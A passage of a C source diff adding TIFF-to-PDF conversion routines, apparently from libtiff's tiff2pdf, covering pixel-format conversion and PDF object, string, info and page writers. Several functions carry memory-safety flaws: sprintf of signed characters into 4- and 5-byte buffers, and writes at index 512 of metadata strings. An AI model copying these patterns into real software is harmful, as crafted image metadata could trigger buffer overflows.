+	This functions converts a tilewidth x tilelength buffer of samples into an edgetilewidth x 
+	tilelength buffer of samples.
+*/
+void t2p_tile_collapse_left(
+	tdata_t buffer, 
+	tsize_t scanwidth, 
+	uint32 tilewidth, 
+	uint32 edgetilewidth, 
+	uint32 tilelength){
+	
+	uint32 i=0;
+	tsize_t edgescanwidth=0;
+	
+	edgescanwidth = (scanwidth * edgetilewidth + (tilewidth - 1))/ tilewidth;
+	for(i=i;i<tilelength;i++){
+		_TIFFmemcpy( 
+			&(((char*)buffer)[edgescanwidth*i]), 
+			&(((char*)buffer)[scanwidth*i]), 
+			edgescanwidth);
+	}
+	
+	return;
+}
+
+
+/*
+	This function calls TIFFWriteDirectory on the output after blanking its output by replacing the 
+	read, write, and seek procedures with empty implementations, then it replaces the original 
+	implementations.
+*/
+
+void t2p_write_advance_directory(T2P* t2p, TIFF* output){
+
+	t2p->tiff_writeproc=output->tif_writeproc;
+	output->tif_writeproc=t2p_empty_writeproc;
+	t2p->tiff_readproc=output->tif_readproc;
+	output->tif_readproc=t2p_empty_readproc;
+	t2p->tiff_seekproc=output->tif_seekproc;
+	output->tif_seekproc=t2p_empty_seekproc;
+	output->tif_header.tiff_diroff=0;
+	if(!TIFFWriteDirectory(output)){
+		TIFFError(TIFF2PDF_MODULE, 
+			"Error writing virtual directory to output PDF %s", 
+			TIFFFileName(output));
+		t2p->t2p_error = T2P_ERR_ERROR;
+		return;
+	}
+	output->tif_writeproc=t2p->tiff_writeproc;
+	output->tif_readproc=t2p->tiff_readproc;
+	output->tif_seekproc=t2p->tiff_seekproc;
+	
+	return;
+}
+
+tsize_t t2p_sample_planar_separate_to_contig(
+											T2P* t2p, 
+											unsigned char* buffer, 
+											unsigned char* samplebuffer, 
+											tsize_t samplebuffersize){
+
+	tsize_t stride=0;
+	tsize_t i=0;
+	tsize_t j=0;
+	
+	stride=samplebuffersize/t2p->tiff_samplesperpixel;
+	for(i=0;i<stride;i++){
+		for(j=0;j<t2p->tiff_samplesperpixel;j++){
+			buffer[i*t2p->tiff_samplesperpixel + j] = samplebuffer[i + j*stride];
+		}
+	}
+
+	return(samplebuffersize);
+}
+
+tsize_t t2p_sample_realize_palette(T2P* t2p, unsigned char* buffer){
+
+	uint32 sample_count=0;
+	uint16 component_count=0;
+	uint32 palette_offset=0;
+	uint32 sample_offset=0;
+	uint32 i=0;
+	uint32 j=0;
+	sample_count=t2p->tiff_width*t2p->tiff_length;
+	component_count=t2p->tiff_samplesperpixel;
+	
+	for(i=sample_count;i>0;i--){
+		palette_offset=buffer[i-1] * component_count;
+		sample_offset= (i-1) * component_count;
+		for(j=0;j<component_count;j++){
+			buffer[sample_offset+j]=t2p->pdf_palette[palette_offset+j];
+		}
+	}
+
+	return(0);
+}
+
+/*
+	This functions converts in place a buffer of ABGR interleaved data
+	into RGB interleaved data, discarding A.
+*/
+
+tsize_t t2p_sample_abgr_to_rgb(tdata_t data, uint32 samplecount)
+{
+	uint32 i=0;
+	uint32 sample=0;
+	
+	for(i=0;i<samplecount;i++){
+		sample=((uint32*)data)[i];
+		((char*)data)[i*3]= (char) (sample & 0xff);
+		((char*)data)[i*3+1]= (char) ((sample>>8) & 0xff);
+		((char*)data)[i*3+2]= (char) ((sample>>16) & 0xff);
+	}
+
+	return(i*3);
+}
+
+/*
+ * This functions converts in place a buffer of RGBA interleaved data
+ * into RGB interleaved data, discarding A.
+ */
+
+tsize_t
+t2p_sample_rgbaa_to_rgb(tdata_t data, uint32 samplecount)
+{
+	uint32 i;
+	
+	for(i = 0; i < samplecount; i++)
+		memcpy((uint8*)data + i * 3, (uint8*)data + i * 4, 3);
+
+	return(i * 3);
+}
+
+/*
+ * This functions converts in place a buffer of RGBA interleaved data
+ * into RGB interleaved data, adding 255-A to each component sample.
+ */
+
+tsize_t
+t2p_sample_rgba_to_rgb(tdata_t data, uint32 samplecount)
+{
+	uint32 i = 0;
+	uint32 sample = 0;
+	uint8 alpha = 0;
+	
+	for (i = 0; i < samplecount; i++) {
+		sample=((uint32*)data)[i];
+		alpha=(uint8)((255 - (sample & 0xff)));
+		((uint8 *)data)[i * 3] = (uint8) ((sample >> 24) & 0xff) + alpha;
+		((uint8 *)data)[i * 3 + 1] = (uint8) ((sample >> 16) & 0xff) + alpha;
+		((uint8 *)data)[i * 3 + 2] = (uint8) ((sample >> 8) & 0xff) + alpha;
+		
+	}
+
+	return (i * 3);
+}
+
+/*
+	This function converts the a and b samples of Lab data from signed
+	to unsigned.
+*/
+
+tsize_t t2p_sample_lab_signed_to_unsigned(tdata_t buffer, uint32 samplecount){
+
+	uint32 i=0;
+
+	for(i=0;i<samplecount;i++){
+		if( (((unsigned char*)buffer)[(i*3)+1] & 0x80) !=0){
+			((unsigned char*)buffer)[(i*3)+1] =
+				(unsigned char)(0x80 + ((char*)buffer)[(i*3)+1]);
+		} else {
+			((unsigned char*)buffer)[(i*3)+1] |= 0x80;
+		}
+		if( (((unsigned char*)buffer)[(i*3)+2] & 0x80) !=0){
+			((unsigned char*)buffer)[(i*3)+2] =
+				(unsigned char)(0x80 + ((char*)buffer)[(i*3)+2]);
+		} else {
+			((unsigned char*)buffer)[(i*3)+2] |= 0x80;
+		}
+	}
+
+	return(samplecount*3);
+}
+
+/* 
+	This function writes the PDF header to output.
+*/
+
+tsize_t t2p_write_pdf_header(T2P* t2p, TIFF* output){
+
+	tsize_t written=0;
+	char buffer[16];
+	int buflen=0;
+	
+	buflen=sprintf(buffer, "%%PDF-%u.%u ", t2p->pdf_majorversion&0xff, t2p->pdf_minorversion&0xff);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t)"\r%\342\343\317\323\r\n", 8);
+
+	return(written);
+}
+
+/*
+	This function writes the beginning of a PDF object to output.
+*/
+
+tsize_t t2p_write_pdf_obj_start(uint32 number, TIFF* output){
+
+	tsize_t written=0;
+	char buffer[16];
+	int buflen=0;
+
+	buflen=sprintf(buffer, "%lu", (unsigned long)number);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen );
+	written += TIFFWriteFile(output, (tdata_t) " 0 obj\r", 7);
+
+	return(written);
+}
+
+/*
+	This function writes the end of a PDF object to output.
+*/
+
+tsize_t t2p_write_pdf_obj_end(TIFF* output){
+
+	tsize_t written=0;
+
+	written += TIFFWriteFile(output, (tdata_t) "endobj\r", 7);
+
+	return(written);
+}
+
+/*
+	This function writes a PDF name object to output.
+*/
+
+tsize_t t2p_write_pdf_name(char* name, TIFF* output){
+
+	tsize_t written=0;
+	uint32 i=0;
+	char buffer[4];
+	uint16 nextchar=0;
+	uint32 namelen=0;
+	
+	namelen=strlen(name);
+	if (namelen>126) {
+		namelen=126;
+	}
+	written += TIFFWriteFile(output, (tdata_t) "/", 1);
+	for (i=0;i<namelen;i++){
+		if ( ((unsigned char)name[i]) < 0x21){
+			sprintf(buffer, "#%.2X", name[i]);
+			written += TIFFWriteFile(output, (tdata_t) buffer, 3);
+			nextchar=1;
+		}
+		if ( ((unsigned char)name[i]) > 0x7E){
+			sprintf(buffer, "#%.2X", name[i]); 
+			written += TIFFWriteFile(output, (tdata_t) buffer, 3);
+			nextchar=1;
+		}
+		if (nextchar==0){
+			switch (name[i]){
+				case 0x23:
+					sprintf(buffer, "#%.2X", name[i]); 
+					written += TIFFWriteFile(output, (tdata_t) buffer, 3);
+					break;
+				case 0x25:
+					sprintf(buffer, "#%.2X", name[i]); 
+					written += TIFFWriteFile(output, (tdata_t) buffer, 3);
+					break;
+				case 0x28:
+					sprintf(buffer, "#%.2X", name[i]); 
+					written += TIFFWriteFile(output, (tdata_t) buffer, 3);
+					break;
+				case 0x29:
+					sprintf(buffer, "#%.2X", name[i]); 
+					written += TIFFWriteFile(output, (tdata_t) buffer, 3);
+					break;
+				case 0x2F:
+					sprintf(buffer, "#%.2X", name[i]); 
+					written += TIFFWriteFile(output, (tdata_t) buffer, 3);
+					break;
+				case 0x3C:
+					sprintf(buffer, "#%.2X", name[i]); 
+					written += TIFFWriteFile(output, (tdata_t) buffer, 3);
+					break;
+				case 0x3E:
+					sprintf(buffer, "#%.2X", name[i]); 
+					written += TIFFWriteFile(output, (tdata_t) buffer, 3);
+					break;
+				case 0x5B:
+					sprintf(buffer, "#%.2X", name[i]); 
+					written += TIFFWriteFile(output, (tdata_t) buffer, 3);
+					break;
+				case 0x5D:
+					sprintf(buffer, "#%.2X", name[i]); 
+					written += TIFFWriteFile(output, (tdata_t) buffer, 3);
+					break;
+				case 0x7B:
+					sprintf(buffer, "#%.2X", name[i]); 
+					written += TIFFWriteFile(output, (tdata_t) buffer, 3);
+					break;
+				case 0x7D:
+					sprintf(buffer, "#%.2X", name[i]); 
+					written += TIFFWriteFile(output, (tdata_t) buffer, 3);
+					break;
+				default:
+					written += TIFFWriteFile(output, (tdata_t) &name[i], 1);
+			}
+		}
+		nextchar=0;
+	}
+	written += TIFFWriteFile(output, (tdata_t) " ", 1);
+
+	return(written);
+}
+
+/*
+	This function writes a PDF string object to output.
+*/
+	
+tsize_t t2p_write_pdf_string(char* pdfstr, TIFF* output){
+
+	tsize_t written=0;
+	uint32 i=0;
+	char buffer[5];
+	uint32 len=0;
+	
+	len=strlen(pdfstr);
+	written += TIFFWriteFile(output, (tdata_t) "(", 1);
+	for (i=0;i<len;i++){
+		if((pdfstr[i]&0x80) || (pdfstr[i]==127) || (pdfstr[i]<32)){
+			sprintf(buffer, "\\%.3o", pdfstr[i]);
+			written += TIFFWriteFile(output, (tdata_t) buffer, 4);
+		} else {
+			switch (pdfstr[i]){
+				case 0x08:
+					written += TIFFWriteFile(output, (tdata_t) "\\b", 2);
+					break;
+				case 0x09:
+					written += TIFFWriteFile(output, (tdata_t) "\\t", 2);
+					break;
+				case 0x0A:
+					written += TIFFWriteFile(output, (tdata_t) "\\n", 2);
+					break;
+				case 0x0C:
+					written += TIFFWriteFile(output, (tdata_t) "\\f", 2);
+					break;
+				case 0x0D:
+					written += TIFFWriteFile(output, (tdata_t) "\\r", 2);
+					break;
+				case 0x28:
+					written += TIFFWriteFile(output, (tdata_t) "\\(", 2);
+					break;
+				case 0x29:
+					written += TIFFWriteFile(output, (tdata_t) "\\)", 2);
+					break;
+				case 0x5C:
+					written += TIFFWriteFile(output, (tdata_t) "\\\\", 2);
+					break;
+				default:
+					written += TIFFWriteFile(output, (tdata_t) &pdfstr[i], 1);
+			}
+		}
+	}
+	written += TIFFWriteFile(output, (tdata_t) ") ", 1);
+
+	return(written);
+}
+
+
+/*
+	This function writes a buffer of data to output.
+*/
+
+tsize_t t2p_write_pdf_stream(tdata_t buffer, tsize_t len, TIFF* output){
+
+	tsize_t written=0;
+
+	written += TIFFWriteFile(output, (tdata_t) buffer, len);
+
+	return(written);
+}
+
+/*
+	This functions writes the beginning of a PDF stream to output.
+*/
+
+tsize_t t2p_write_pdf_stream_start(TIFF* output){
+
+	tsize_t written=0;
+
+	written += TIFFWriteFile(output, (tdata_t) "stream\r\n", 8);
+
+	return(written);
+}
+
+/*
+	This function writes the end of a PDF stream to output. 
+*/
+
+tsize_t t2p_write_pdf_stream_end(TIFF* output){
+
+	tsize_t written=0;
+
+	written += TIFFWriteFile(output, (tdata_t) "\rendstream\r", 11);
+
+	return(written);
+}
+
+/*
+	This function writes a stream dictionary for a PDF stream to output.
+*/
+
+tsize_t t2p_write_pdf_stream_dict(tsize_t len, uint32 number, TIFF* output){
+	
+	tsize_t written=0;
+	char buffer[16];
+	int buflen=0;
+	
+	written += TIFFWriteFile(output, (tdata_t) "/Length ", 8);
+	if(len!=0){
+		written += t2p_write_pdf_stream_length(len, output);
+	} else {
+		buflen=sprintf(buffer, "%lu", (unsigned long)number);
+		written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+		written += TIFFWriteFile(output, (tdata_t) " 0 R \r", 6);
+	}
+	
+	return(written);
+}
+
+/*
+	This functions writes the beginning of a PDF stream dictionary to output.
+*/
+
+tsize_t t2p_write_pdf_stream_dict_start(TIFF* output){
+
+	tsize_t written=0;
+
+	written += TIFFWriteFile(output, (tdata_t) "<< \r", 4);
+
+	return(written);
+}
+
+/*
+	This function writes the end of a PDF stream dictionary to output. 
+*/
+
+tsize_t t2p_write_pdf_stream_dict_end(TIFF* output){
+
+	tsize_t written=0;
+
+	written += TIFFWriteFile(output, (tdata_t) " >>\r", 4);
+
+	return(written);
+}
+
+/*
+	This function writes a number to output.
+*/
+
+tsize_t t2p_write_pdf_stream_length(tsize_t len, TIFF* output){
+
+	tsize_t written=0;
+	char buffer[16];
+	int buflen=0;
+
+	buflen=sprintf(buffer, "%lu", (unsigned long)len);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+
+	return(written);
+}
+
+/*
+	This function writes the PDF Catalog structure to output.
+*/
+
+tsize_t t2p_write_pdf_catalog(T2P* t2p, TIFF* output){
+
+	tsize_t written=0;
+	char buffer[16];
+	int buflen=0;
+
+	written += TIFFWriteFile(output, 
+		(tdata_t)"<< \r/Type /Catalog \r/Pages ", 
+		27);
+	buflen=sprintf(buffer, "%lu", (unsigned long)t2p->pdf_pages);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen );
+	written += TIFFWriteFile(output, (tdata_t) " 0 R \r", 6);
+	if(t2p->pdf_fitwindow){
+		written += TIFFWriteFile(output, 
+			(tdata_t) "/ViewerPreferences <</FitWindow true>>\r", 
+			39);
+	}
+	written += TIFFWriteFile(output, (tdata_t)">>\r", 3);
+
+	return(written);
+}
+
+/*
+	This function writes the PDF Info structure to output.
+*/
+
+tsize_t t2p_write_pdf_info(T2P* t2p, TIFF* input, TIFF* output){
+
+	tsize_t written=0;
+	char* info;
+	char buffer[512];
+	int buflen=0;
+	
+	if(t2p->pdf_datetime==NULL){
+		t2p_pdf_tifftime(t2p, input);
+	}
+	if(strlen(t2p->pdf_datetime) > 0){
+		written += TIFFWriteFile(output, (tdata_t) "<< \r/CreationDate ", 18);
+		written += t2p_write_pdf_string(t2p->pdf_datetime, output);
+		written += TIFFWriteFile(output, (tdata_t) "\r/ModDate ", 10);
+		written += t2p_write_pdf_string(t2p->pdf_datetime, output);
+	}
+	written += TIFFWriteFile(output, (tdata_t) "\r/Producer ", 11);
+	_TIFFmemset((tdata_t)buffer, 0x00, 512);
+	buflen=sprintf(buffer, "libtiff / tiff2pdf - %d / %s", TIFFLIB_VERSION, T2P_VERSION);
+	written += t2p_write_pdf_string(buffer, output);
+	written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+	if(t2p->pdf_creator != NULL){ 
+		if(strlen(t2p->pdf_creator)>0){
+			if(strlen(t2p->pdf_creator)>511){t2p->pdf_creator[512]=(char)0;}
+			written += TIFFWriteFile(output, (tdata_t) "/Creator ", 9);
+			written += t2p_write_pdf_string(t2p->pdf_creator, output);
+			written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+		}
+	} else{
+		if( TIFFGetField(input, TIFFTAG_SOFTWARE, &info) != 0){
+			if(strlen(info)>511){info[512]=(char)0;}
+			written += TIFFWriteFile(output, (tdata_t) "/Creator ", 9);
+			written += t2p_write_pdf_string(info, output);
+			written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+		}
+	}
+	if(t2p->pdf_author != NULL){ 
+		if(strlen(t2p->pdf_author)>0){
+			if(strlen(t2p->pdf_author)>511){t2p->pdf_author[512]=(char)0;}
+			written += TIFFWriteFile(output, (tdata_t) "/Author ", 8);
+			written += t2p_write_pdf_string(t2p->pdf_author, output);
+			written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+		}
+	} else{
+		if( TIFFGetField(input, TIFFTAG_ARTIST, &info) != 0){
+			if(strlen(info)>511){info[512]=(char)0;}
+			written += TIFFWriteFile(output, (tdata_t) "/Author ", 8);
+			written += t2p_write_pdf_string(info, output);
+			written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+		} else if ( TIFFGetField(input, TIFFTAG_COPYRIGHT, &info) != 0){
+			if(strlen(info)>511){info[512]=(char)0;}
+			written += TIFFWriteFile(output, (tdata_t) "/Author ", 8);
+			written += t2p_write_pdf_string(info, output);
+			written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+		} 
+	}
+	if(t2p->pdf_title != NULL){
+		if(strlen(t2p->pdf_title)>0){
+			if(strlen(t2p->pdf_title)>511){t2p->pdf_title[512]=(char)0;}
+			written += TIFFWriteFile(output, (tdata_t) "/Title ", 7);
+			written += t2p_write_pdf_string(t2p->pdf_title, output);
+			written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+		}
+	} else{
+		if( TIFFGetField(input, TIFFTAG_DOCUMENTNAME, &info) != 0){
+			if(strlen(info)>511){info[512]=(char)0;}
+			written += TIFFWriteFile(output, (tdata_t) "/Title ", 7);
+			written += t2p_write_pdf_string(info, output);
+			written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+		}
+	}
+	if(t2p->pdf_subject != NULL){
+		if(strlen(t2p->pdf_subject)>0){
+			if(strlen(t2p->pdf_subject)>511){t2p->pdf_subject[512]=(char)0;}
+			written += TIFFWriteFile(output, (tdata_t) "/Subject ", 9);
+			written += t2p_write_pdf_string(t2p->pdf_subject, output);
+			written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+		}
+	} else{
+		if( TIFFGetField(input, TIFFTAG_IMAGEDESCRIPTION, &info) != 0){
+			if(strlen(info)>511){info[512]=(char)0;}
+			written += TIFFWriteFile(output, (tdata_t) "/Subject ", 9);
+			written += t2p_write_pdf_string(info, output);
+			written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+		}
+	}
+	if(t2p->pdf_keywords != NULL){ 
+		if(strlen(t2p->pdf_keywords)>0){
+			if(strlen(t2p->pdf_keywords)>511){t2p->pdf_keywords[512]=(char)0;}
+			written += TIFFWriteFile(output, (tdata_t) "/Keywords ", 10);
+			written += t2p_write_pdf_string(t2p->pdf_keywords, output);
+			written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+		}
+	}
+	written += TIFFWriteFile(output, (tdata_t) ">> \r", 4);	
+
+	return(written);
+}
+
+/*
+	This function fills a string of a T2P struct with the current time as a PDF date string, 
+	it is called by t2p_pdf_tifftime.
+*/
+
+void t2p_pdf_currenttime(T2P* t2p){
+
+	struct tm* currenttime;
+	time_t timenow;
+
+	timenow=time(0);
+	currenttime=localtime(&timenow);
+	sprintf(t2p->pdf_datetime, "D:%.4d%.2d%.2d%.2d%.2d%.2d",
+		(currenttime->tm_year+1900) % 65536, 
+		(currenttime->tm_mon+1) % 256, 
+		(currenttime->tm_mday) % 256, 
+		(currenttime->tm_hour) % 256, 
+		(currenttime->tm_min) % 256, 
+		(currenttime->tm_sec) % 256);
+
+	return;
+}
+
+/*
+	This function fills a string of a T2P struct with the date and time of a TIFF file if it 
+	exists or the current time as a PDF date string.
+*/
+
+void t2p_pdf_tifftime(T2P* t2p, TIFF* input){
+
+	char* datetime;
+
+	t2p->pdf_datetime= (char*) _TIFFmalloc(19);
+	if(t2p->pdf_datetime==NULL){
+		TIFFError(TIFF2PDF_MODULE, 
+			"Can't allocate %u bytes of memory for t2p_pdf_tiff_time", 
+			17); 
+		t2p->t2p_error = T2P_ERR_ERROR;
+		return;
+	}
+	t2p->pdf_datetime[16]=0;
+	if( TIFFGetField(input, TIFFTAG_DATETIME, &datetime) != 0 
+	&& (strlen(datetime) >= 19) ){
+		t2p->pdf_datetime[0]='D';
+		t2p->pdf_datetime[1]=':';
+		t2p->pdf_datetime[2]=datetime[0];
+		t2p->pdf_datetime[3]=datetime[1];
+		t2p->pdf_datetime[4]=datetime[2];
+		t2p->pdf_datetime[5]=datetime[3];
+		t2p->pdf_datetime[6]=datetime[5];
+		t2p->pdf_datetime[7]=datetime[6];
+		t2p->pdf_datetime[8]=datetime[8];
+		t2p->pdf_datetime[9]=datetime[9];
+		t2p->pdf_datetime[10]=datetime[11];
+		t2p->pdf_datetime[11]=datetime[12];
+		t2p->pdf_datetime[12]=datetime[14];
+		t2p->pdf_datetime[13]=datetime[15];
+		t2p->pdf_datetime[14]=datetime[17];
+		t2p->pdf_datetime[15]=datetime[18];
+	} else {
+		t2p_pdf_currenttime(t2p);
+	}
+
+	return;
+}
+
+/*
+	This function writes a PDF Pages Tree structure to output.
+*/
+
+tsize_t t2p_write_pdf_pages(T2P* t2p, 
+							TIFF* output){
+
+	tsize_t written=0;
+	tdir_t i=0;
+	char buffer[16];
+	int buflen=0;
+
+	int page=0;
+	written += TIFFWriteFile(output, 
+		(tdata_t) "<< \r/Type /Pages \r/Kids [ ", 
+		26);
+	page = t2p->pdf_pages+1;
+	for (i=0;i<t2p->tiff_pagecount;i++){
+		buflen=sprintf(buffer, "%d", page);
+		written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+		written += TIFFWriteFile(output, (tdata_t) " 0 R ", 5);
+		if ( ((i+1)%8)==0 ) {
+			written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+		}
+		page +=3;
+		page += t2p->tiff_pages[i].page_extra;
+		if(t2p->tiff_pages[i].page_tilecount>0){
+			page += (2 * t2p->tiff_pages[i].page_tilecount);
+		} else {
+			page +=2;
+		}
+	}
+	written += TIFFWriteFile(output, (tdata_t) "] \r/Count ", 10);
+	_TIFFmemset(buffer, 0x00, 16);
+	buflen=sprintf(buffer, "%d", t2p->tiff_pagecount);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) " \r>> \r", 6);
+
+	return(written);
+}
+
+/*
+	This function writes a PDF Page structure to output.
+*/
+
+tsize_t t2p_write_pdf_page(uint32 object, T2P* t2p, TIFF* output){
+
+	unsigned int i=0;
+	tsize_t written=0;
+	char buffer[16];
+	int buflen=0;
+	
+	written += TIFFWriteFile(output, (tdata_t) "<<\r/Type /Page \r/Parent ", 24);
+	buflen=sprintf(buffer, "%lu", (unsigned long)t2p->pdf_pages);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) " 0 R \r", 6);
+	written += TIFFWriteFile(output, (tdata_t) "/MediaBox [", 11); 
+	buflen=sprintf(buffer, "%.4f",t2p->pdf_mediabox.x1);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) " ", 1); 
+	buflen=sprintf(buffer, "%.4f",t2p->pdf_mediabox.y1);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) " ", 1); 
+	buflen=sprintf(buffer, "%.4f",t2p->pdf_mediabox.x2);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) " ", 1); 
+	buflen=sprintf(buffer, "%.4f",t2p->pdf_mediabox.y2);
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) "] \r", 3); 
+	written += TIFFWriteFile(output, (tdata_t) "/Contents ", 10);
+	buflen=sprintf(buffer, "%lu", (unsigned long)(object + 1));
+	written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+	written += TIFFWriteFile(output, (tdata_t) " 0 R \r", 6);
+	written += TIFFWriteFile(output, (tdata_t) "/Resources << \r", 15);
+	if( t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount != 0 ){
+		written += TIFFWriteFile(output, (tdata_t) "/XObject <<\r", 12);
+		for(i=0;i<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount;i++){
+			written += TIFFWriteFile(output, (tdata_t) "/Im", 3);
+			buflen = sprintf(buffer, "%u", t2p->pdf_page+1);
+			written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+			written += TIFFWriteFile(output, (tdata_t) "_", 1);
+			buflen = sprintf(buffer, "%u", i+1);
+			written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+			written += TIFFWriteFile(output, (tdata_t) " ", 1);
+			buflen = sprintf(
+				buffer, 
+				"%lu", 
+				(unsigned long)(object+3+(2*i)+t2p->tiff_pages[t2p->pdf_page].page_extra)); 
+			written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+			written += TIFFWriteFile(output, (tdata_t) " 0 R ", 5);
+			if(i%4==3){
+				written += TIFFWriteFile(output, (tdata_t) "\r", 1);
+			}
+		}
+		written += TIFFWriteFile(output, (tdata_t) ">>\r", 3);
+	} else {
+			written += TIFFWriteFile(output, (tdata_t) "/XObject <<\r", 12);
+			written += TIFFWriteFile(output, (tdata_t) "/Im", 3);
+			buflen = sprintf(buffer, "%u", t2p->pdf_page+1);
+			written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+			written += TIFFWriteFile(output, (tdata_t) " ", 1);
+			buflen = sprintf(
+				buffer, 
+				"%lu", 
+				(unsigned long)(object+3+(2*i)+t2p->tiff_pages[t2p->pdf_page].page_extra)); 
+			written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+			written += TIFFWriteFile(output, (tdata_t) " 0 R ", 5);
+		written += TIFFWriteFile(output, (tdata_t) ">>\r", 3);
+	}
+	if(t2p->tiff_transferfunctioncount != 0) {
+		written += TIFFWriteFile(output, (tdata_t) "/ExtGState <<", 13);
+		TIFFWriteFile(output, (tdata_t) "/GS1 ", 5);
+		buflen = sprintf(
+			buffer, 
+			"%lu", 
+			(unsigned long)(object + 3)); 
+		written += TIFFWriteFile(output, (tdata_t) buffer, buflen);
+		written += TIFFWriteFile(output, (tdata_t) " 0 R ", 5);
+		written += TIFFWriteFile(output, (tdata_t) ">> \r", 4);
+	}
+	written += TIFFWriteFile(output, (tdata_t) "/ProcSet [ ", 11);
+	if(t2p->pdf_colorspace == T2P_CS_BILEVEL 
+		|| t2p->pdf_colorspace == T2P_CS_GRAY
+		){
+		written += TIFFWriteFile(output, (tdata_t) "/ImageB ", 8);
+	} else {
+		written += TIFFWriteFile(output, (tdata_t) "/ImageC ", 8);
+		if(t2p->pdf_colorspace & T2P_CS_PALETTE){
+			written += TIFFWriteFile(output, (tdata_t) "/ImageI ", 8);
+		}
+	}
+	written += TIFFWriteFile(output, (tdata_t) "]\r>>\r>>\r", 8);
+
+	return(written);
+}
+
+/*
+	This function composes the page size and image and tile locations on a page.
+*/
+
+void t2p_compose_pdf_page(T2P* t2p){
+
+	uint32 i=0;
+	uint32 i2=0;
+	T2P_TILE* tiles=NULL;
+	T2P_BOX* boxp=NULL;
+	uint32 tilecountx=0;
+	uint32 tilecounty=0;
+	uint32 tilewidth=0;
+	uint32 tilelength=0;
+	int istiled=0;
+	float f=0;
+	
+	t2p->pdf_xres = t2p->tiff_xres;
+	t2p->pdf_yres = t2p->tiff_yres;
+	if(t2p->pdf_overrideres){
+		t2p->pdf_xres = t2p->pdf_defaultxres;
+		t2p->pdf_yres = t2p->pdf_defaultyres;
+	}
+	if(t2p->pdf_xres==0.0){
+		t2p->pdf_xres = t2p->pdf_defaultxres;
+	}
+	if(t2p->pdf_yres==0.0){
+		t2p->pdf_yres = t2p->pdf_defaultyres;
+	}
+	t2p->pdf_imagewidth=((float)(t2p->tiff_width)) *72.0F / t2p->pdf_xres;
+	t2p->pdf_imagelength=((float)(t2p->tiff_length)) *72.0F / t2p->pdf_yres;
+	if(t2p->pdf_overridepagesize != 0){
+		t2p->pdf_pagewidth = t2p->pdf_defaultpagewidth;
+		t2p->pdf_pagelength = t2p->pdf_defaultpagelength;
+	} else {
+		t2p->pdf_pagewidth = t2p->pdf_imagewidth;
+		t2p->pdf_pagelength = t2p->pdf_imagelength;
+	}
+	t2p->pdf_mediabox.x1=0.0;
+	t2p->pdf_mediabox.y1=0.0;
+	t2p->pdf_mediabox.x2=t2p->pdf_pagewidth;
+	t2p->pdf_mediabox.y2=t2p->pdf_pagelength;
+	t2p->pdf_imagebox.x1=0.0;
+	t2p->pdf_imagebox.y1=0.0;
+	t2p->pdf_imagebox.x2=t2p->pdf_imagewidth;
+	t2p->pdf_imagebox.y2=t2p->pdf_imagelength;
+	if(t2p->pdf_overridepagesize!=0){
+		t2p->pdf_imagebox.x1+=((t2p->pdf_pagewidth-t2p->pdf_imagewidth)/2.0F);
+		t2p->pdf_imagebox.y1+=((t2p->pdf_pagelength-t2p->pdf_imagelength)/2.0F);
+		t2p->pdf_imagebox.x2+=((t2p->pdf_pagewidth-t2p->pdf_imagewidth)/2.0F);
+		t2p->pdf_imagebox.y2+=((t2p->pdf_pagelength-t2p->pdf_imagelength)/2.0F);
+	}
+	if(t2p->tiff_orientation > 4){
+		f=t2p->pdf_mediabox.x2;
+		t2p->pdf_mediabox.x2=t2p->pdf_mediabox.y2;
+		t2p->pdf_mediabox.y2=f;
+	}
+	istiled=((t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount==0) ? 0 : 1;
+	if(istiled==0){
+		t2p_compose_pdf_page_orient(&(t2p->pdf_imagebox), t2p->tiff_orientation);
+		return;
+	} else {
+		tilewidth=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilewidth;
+		tilelength=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilelength;
+		tilecountx=(t2p->tiff_width + 
+			tilewidth -1)/ 
+			tilewidth;
+		(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecountx=tilecountx;
+		tilecounty=(t2p->tiff_length + 
+			tilelength -1)/ 
+			tilelength;
+		(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecounty=tilecounty;
+		(t2p->tiff_tiles[t2p->pdf_page]).tiles_edgetilewidth=
+			t2p->tiff_width % tilewidth;
+		(t2p->tiff_tiles[t2p->pdf_page]).tiles_edgetilelength=
+			t2p->tiff_length % tilelength;
+		tiles=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tiles;
